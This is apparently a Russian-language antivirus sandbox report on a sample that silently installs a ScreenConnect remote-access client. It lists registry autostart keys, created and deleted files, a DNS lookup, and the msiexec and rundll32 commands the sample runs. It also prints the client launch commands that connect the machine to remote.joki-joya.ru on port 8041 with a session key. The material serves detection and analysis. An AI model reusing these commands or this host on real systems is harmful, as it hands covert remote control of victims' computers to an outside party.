Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKLM>\SOFTWARE\Classes\sc-b32111af3a2a3799\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (b32111af3a2a3799)\ScreenConnect.WindowsClient.exe" "%1"'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\setup.msi
- %WINDIR%\installer\msi728c.tmp
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\client.resources
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\client.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\app.config
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.clientservice.exe
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.windowsclient.exe.config
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.windowsclient.exe
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.windows.dll
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.core.dll
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.clientservice.dll
- %ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.client.dll
- C:\config.msi\f6e53.rbs
- %WINDIR%\installer\msi71bf.tmp
- %WINDIR%\installer\msi717f.tmp
- %WINDIR%\installer\msi70b3.tmp
- %WINDIR%\installer\msi70b2.tmp
- %WINDIR%\installer\f6e52.ipi
- %WINDIR%\installer\f6e51.msi
- %TEMP%\msi66fe.tmp-\customaction.config
- %TEMP%\msi66fe.tmp-\screenconnect.core.dll
- %TEMP%\msi66fe.tmp-\microsoft.deployment.windowsinstaller.dll
- %TEMP%\msi66fe.tmp-\screenconnect.installeractions.dll
- %TEMP%\msi66fe.tmp
- %WINDIR%\installer\f6e54.msi
- %WINDIR%\installer\{354d3534-fb21-44c9-9ee4-04b00ffbbc84}\defaulticon
Удаляет следующие файлы
- %TEMP%\msi66fe.tmp-\customaction.config
- %TEMP%\msi66fe.tmp-\microsoft.deployment.windowsinstaller.dll
- %TEMP%\msi66fe.tmp-\screenconnect.core.dll
- %TEMP%\msi66fe.tmp-\screenconnect.installeractions.dll
- %TEMP%\msi66fe.tmp
- %WINDIR%\installer\msi70b3.tmp
- %WINDIR%\installer\msi717f.tmp
- %WINDIR%\installer\msi71bf.tmp
- %WINDIR%\installer\msi728c.tmp
- %WINDIR%\installer\msi70b2.tmp
- C:\config.msi\f6e53.rbs
- %WINDIR%\installer\f6e51.msi
- %WINDIR%\installer\f6e52.ipi
Сетевая активность
UDP
- DNS ASK re####.joki-joya.ru
Другое
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.windowsclient.exe' "Rerun" "?e=Access&y=Host&h=remote.joki-joya.ru&p=8041&s=468afd09-e828-4bf4-acf7-b347658f5d6c&k=BgIAAACkAABSU0ExAAgAAAEAAQBpAfOY%2fLJd%2fyCJn0XjA3hPfLAv8MKE1c0Az53LM439D5Sem9ZpkbhXOHaWOulOYaBV9...
- '%ProgramFiles(x86)%\screenconnect client (b32111af3a2a3799)\screenconnect.windowsclient.exe' "?e=Access&y=Host&h=remote.joki-joya.ru&p=8041&s=468afd09-e828-4bf4-acf7-b347658f5d6c&k=BgIAAACkAABSU0ExAAgAAAEAAQBpAfOY%2fLJd%2fyCJn0XjA3hPfLAv8MKE1c0Az53LM439D5Sem9ZpkbhXOHaWOulOYaBV9Pg4XsX2q...
Запускает на исполнение
- '%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
- '%WINDIR%\syswow64\msiexec.exe' -Embedding D932B65131B6AD7E869F34A4173829CF C
- '%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI66FE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1009703 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
- '%WINDIR%\syswow64\msiexec.exe' -Embedding E1763C24272E15D971CCB2DCDF99460F
- '%WINDIR%\syswow64\msiexec.exe' -Embedding 09636CB29A85A71C7C1CDDF400A171C0 M Global\MSI0000
